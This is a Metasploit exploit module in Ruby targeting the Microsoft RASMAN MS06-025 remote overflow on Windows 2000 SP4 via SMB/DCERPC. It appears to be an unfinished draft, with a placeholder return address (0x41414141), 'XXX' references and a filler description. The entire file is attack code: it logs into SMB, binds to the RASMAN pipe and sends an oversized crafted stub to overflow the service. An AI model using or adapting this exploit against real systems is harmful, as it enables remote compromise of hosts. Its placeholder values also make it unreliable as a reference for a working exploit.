metasploit-framework/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb

require 'msf/core'

module Msf

class Exploits::Windows::Smb::MS06_025_RASMANS_REG < Msf::Exploit::Remote

	include Exploit::Remote::DCERPC
	include Exploit::Remote::SMB

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Microsoft RASMAN MS06-025',
			'Description'    => %q{
			    RASMAN!
            },
			'Author'         => [ 'pusscat' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 0.1 $',
			'References'     =>
				[
					[ 'OSVDB', 'XXX'],
					[ 'CVE', 'XXX'],
					[ 'MSB', 'MS06-025'],

				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread'
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",       # \ / . : $ NULL
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					[ 'Windows 2000 SP4', { 'Ret' => 0x41414141 } ],  
				],
			'DefaultTarget' => 0))
		register_options(
			[       
				OptString.new('SMBPIPE', [ true,  "Rawr.", 'router']),
			], self.class)		
	end

	def exploit
		connect()
		smb_login()
		print_status("Trying target #{target.name}...")
		
		handle = dcerpc_handle('20610036-fa22-11cf-9823-00a0c911e5df', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
		print_status("Binding to #{handle}")
		dcerpc_bind(handle)
		print_status("Bound to #{handle}")
            
        fuxorstring = "G" * 514
        #fuxorstring = "G" * 212 + "\\\\" + "g" * 42
        #fuxorstring = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Router\\CurrentVersion"

        type2 = 
            NDR.UnicodeConformantVaryingString("A" * 16) +         # 34 length, UNMIDL 17
            NDR.UnicodeConformantVaryingString("B" * 128) +        # 258 length, UNMIDL 129
            NDR.UnicodeConformantVaryingString("C" * 128) +        # 258 length, UNMIDL 129
            NDR.long(4) +
            NDR.long(4) 
       
            
        type1 = 
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +

            NDR.long(0x45) + type2 +        # Parsed by CallbackListFromRpc
            NDR.UnicodeConformantVaryingString("D" * 127) +    # 258 length, UNMIDL 129
            NDR.long(4) +
            NDR.UnicodeConformantVaryingString("E" * 259) +   # 520 length, UNMIDL 260
            NDR.UnicodeConformantVaryingString("F" * 259) +   # 520 length, UNMIDL 260

            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +
            NDR.long(4) +

            NDR.UnicodeConformantVaryingString("G" * 256) +   # 514 length, UNMIDL 257
            
			NDR.long(4) + 
            NDR.long(4)  
        
		stubdata = type1 + NDR.long(4)
        print_status('Stub is ' + stubdata.length.to_s + ' bytes long.')
		print_status('Calling the vulnerable function...')

		begin
			response = dcerpc.call(0xA, stubdata)
		rescue Rex::Proto::DCERPC::Exceptions::NoResponse
		end

		handler
		disconnect
	end

end
end